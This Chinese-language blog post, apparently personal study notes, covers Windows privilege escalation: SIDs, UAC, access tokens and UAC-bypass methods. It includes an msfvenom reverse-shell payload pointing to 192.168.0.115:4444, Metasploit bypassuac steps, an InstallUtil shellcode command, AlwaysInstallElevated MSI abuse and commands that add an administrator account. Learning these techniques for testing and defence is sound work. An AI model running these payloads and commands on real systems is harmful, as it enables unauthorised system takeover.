zoukankan      html  css  js  c++  java
  • 9.windows权限提升

    0x01. windows提权介绍

    1. Windows提权介绍

    提权可分为 纵向提权与横向提权 :

    纵向提权 : 低权限角色获得高权限角色的权限

    普通用户权限提升为system权限
    域用户权限提升为域控权限
    

    横向提权 : 获取同级别角色的权限

    普通用户到普通用户 , 域用户到域用户
    

    Windows常用的提权方法有:

    系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等。
    
    
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319>csc.exe /unsafe /platform:x86 /out:C:\\Windows\\Temp\\ctcse.exe C:\\Windows\\Temp\\InstallUtil-ShellCode.cs
    
    InstallUtil.exe /logfile= /LogToConsole=false /U C:\\Windows\\Temp\\ctcse.exe
    

    2. 安全标识符(SID)

    安全标识符在 windows 中,系统是通过SID对用户进行识别的,而不是很多用户认为的 "用户名称" 。SID可以应用于系统内的所有用户、组、服务或计算机,因为SID是一个具有惟一性、绝对不会重复产生的数值,所以,在删除了一个账户( 如名为"A"的账户 )后,再次创建这个"A"账户时,前一个A与后一个A账户的SID是不相同的。这种设计使得账户的权限得到了最基础的保护,盗用权限的情况也就彻底杜绝了。

    查看用户、组、服务或计算机的SID值,可以使用 " Whoami /all " 命令来执行。

    image-20210712190814444

    3. UAC

    UAC (User Account Control),中文翻译为用户帐户控制,是微软在Windows Vista和Windows7中引用的新技术,主要功能是进行一些会影响系统安全的操作时,会自动触发UAC用户确认后才能执行。就是下面这个东西

    image-20210712191222757

    因为大部分的恶意软件、木马病毒、广告插件在进入计算机时都会有 如: 将文件复制到Windows或Program Files等自录、安装驱动、安装ActiveX等操作,而这些操作都会触发UAC用户都可以在UAC提示时来禁止这些程序的运行。

    win10关闭uac , 设置搜索uac

    image-20210712191315753

    4. UAC的实现

    ACL (Access Control List) : Windows中所有资源都有ACL , 这个列表决定了拥有何种权限的用户/进程能够这个资源。

    在开启了UAC之后,如果用户是标准用户,Windows会给用户分配一个标准Access Token ,如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌 (Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动Explorer.exe进程。如果用户同意 , 则赋予完整管理员权限访问令牌进行操作。

    可以使用whoami /priv看当前的权限

    image-20210712191716936

    当你windows默认用普通用户打开cmd是无法通过命令新建用户的 , 但是你通过管理员运行cmd的话就可以新建用户了 , 这就是一个对资源访问令牌的赋予过程

    5. 提权常用命令

    net user                         查看用户数量
    whoami /priv                 查看用户权限
    quser                             查看在线用户
    tasklist                          查看当前进程
    net user a a /add          添加用户
    net localgroup administrators a /add    添加用户到组
    

    0x02. UAC绕过思路

    1. Akagi工具获取UAC权限

    使用vs2019本地编译后可以使用akagi3241或者akagi64 41启动程序,41这个指的是README中描述的方法索引,运行后可以直接得到管理员权限的cmd窗口。

    项目地址: https://github.com/hfiref0x/UACME

    下载源码--》vs2019打开--》重新生成--》执行命令akagi64.exe 61 c:\windows\system32\cmd.exe

    复现失败 , 确切的说是编译失败

    2. MSF获取UAC权限

    首先通过msf生成一个木马 , 然后监听上线,将session放到后台 , 默认这个session是普通用户的 , 然后通过bypassuac模块 , 绕过uac ,重新生成一个session

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.115 lport=4444 -f exe -o shell.exe 
    
    use exploit/windows/local/bypassuac
    set session 1
    set target 1
    run
    

    注意 :win10没有这类漏洞 , 此方法适用于win7复现 , 如何检测是否bypass了呢?两个会话一个可以新建用户 , 一个不可以

    3. MSI文件直接获取超管权限

    我们可以使用msf生成一个msi文件,在Windows中, msi文件会以高级管理员权限运行。

    上线之后的权限是nt authoritylsystem 任意用户以NT AUTHORITYI SYSTEM权限安装msi , 安装的时候会触发UAC

    AlwaysInstallElevated是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。

    步骤:
    1.msf生成一个msi文件
    2.msf监听
    3.靶机运行安装
    4.上线
    

    4. DLL后门注入绕过UAC

    也可以使用文件绑定形式flash.exe

    或者使用backdoor这款工具注入dll或者exe

    https:/lgithub.com/secretsquirrel/the-backdoor-factory 复现失败

    0x03. 漏洞提权

    1. 巴西烤肉(Pr)提权

    巴西烤肉提权也称之为Microsoft Windows RPCSS服务隔离本地权限提升漏洞。

    原理是: RPCSS服务没有正确地隔离NetworkService或LocalService帐号下运行的进程,本地攻击者可以利用令牌劫持的方式获得权限提升。成功利用此漏洞的攻击者可以完全控制受影响的系统,攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。

    该提权只适用于Windows 2003 Server

    这里不做演示了

    2. 计划任务提权

    在Windows中可以利用计划任务覆盖原有的程序来进行替换

  • 相关阅读:
    jquery扩展
    [转][C#]加密解密类
    [转][C#]压缩解压
    [转][C#]程序的动态编译
    [转][C#]Linq 的扩展方法
    [转]Oracle left join right join
    [转]检测到有潜在危险的 Request.Form 值
    IIS 添加 MIME
    [转][Echarts]俄罗斯方块
    01-python爬虫之常见的加密方式
  • 原文地址:https://www.cnblogs.com/xcymn/p/15721464.html
Copyright © 2011-2022 走看看